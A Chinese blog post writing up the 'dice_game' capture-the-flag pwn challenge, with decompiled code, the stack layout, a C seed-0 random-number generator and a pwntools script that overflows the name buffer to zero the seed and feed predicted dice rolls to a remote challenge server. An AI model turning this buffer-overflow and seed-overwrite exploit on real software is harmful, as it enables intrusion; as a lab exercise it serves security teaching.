美文网首页
二_1.dice_game_64/产生随机数字

二_1.dice_game_64/产生随机数字

作者: Zero_0_0 | 来源:发表于2019-04-26 20:29 被阅读0次
    哇! 怎么这这么多机制全开了

    思考:
    1.又是一个产生随机数字的题,考察的是写脚本的能力。(先绕过猜解数字)(切记一定是time(0),应为time(0)是可以预测的)
    2.然后我们在主程序里发现如下,我们通过循环就可以拿到我们的flag

    {
      char s; // [sp+10h] [bp-70h]@1
      FILE *stream; // [sp+78h] [bp-8h]@1
    
      printf("Congrats %s\n", a1);
      stream = fopen("flag", "r");
      fgets(&s, 100, stream);
      puts(&s);
      return fflush(stdout);
    }
    
    如果遇见类似的猜点数的题看栈的分布情况

    1.我们将数据覆盖到send的地方,将我们自己跑出来的50个数据,填充进去。 不就成功的破解了他的程序了嘛!

    -0000000000000050 ;
    -0000000000000050
    -0000000000000050 buf             db 55 dup(?)    //我们输入名字的地方
    -0000000000000019 var_19          db ?
    -0000000000000018 var_18          dq ?
    -0000000000000010 seed            dd 2 dup(?)  //产生随机函数的地方
    -0000000000000008                 db ? ; undefined
    -0000000000000007                 db ? ; undefined
    -0000000000000006                 db ? ; undefined
    -0000000000000005                 db ? ; undefined
    -0000000000000004 var_4           dd ?
    +0000000000000000  s              db 8 dup(?)
    +0000000000000008  r              db 8 dup(?)
    +0000000000000010
    +0000000000000010 ; end of stack variables
    
    编写产生随机数的脚本(gcc 脚本.c -o 输出的名字
    #include <stdio.h> 
    #include <stdlib.h>
    
    
    int main(){
      srand(0);  ##切记一定是0 ,第一次尝试错误了  没有将种子设置为0
      for(int i=0;i<50;i++)
    
        printf("%d,",rand()%6 +1);
        printf("\n");
        return 0;
    }
    
    EXP
    from pwn import *
    
    
    #DEBUG = 1
    #if DEBUG:
    #p = process('./dice_game')    ##不知道什么原因 if else总是报错,还是按照常规思路链接服务器
    #else:
    p = remote("111.198.29.45","50891")
    
    
    asm =[2,5,4,2,6,2,5,1,4,2,3,2,3,2,6,5,1,1,5,5,6,3,4,4,3,3,3,2,2,2,6,1,1,1,6,4,2,5,2,5,4,4,4,6,3,2,3,3,6,1]
    
    
    payload = 'A'*0x40 + p64(0)
    p.recvuntil("know your name: ")
    p.sendline(payload)
    
    
    for x in asm:
            p.recvuntil("Give me the point(1~6): ")
            p.send(str(x) + '\n')
    
    
    p.interactive()
    
    

    相关文章

      网友评论

          本文标题:二_1.dice_game_64/产生随机数字

          本文链接:https://www.haomeiwen.com/subject/lxgqnqtx.html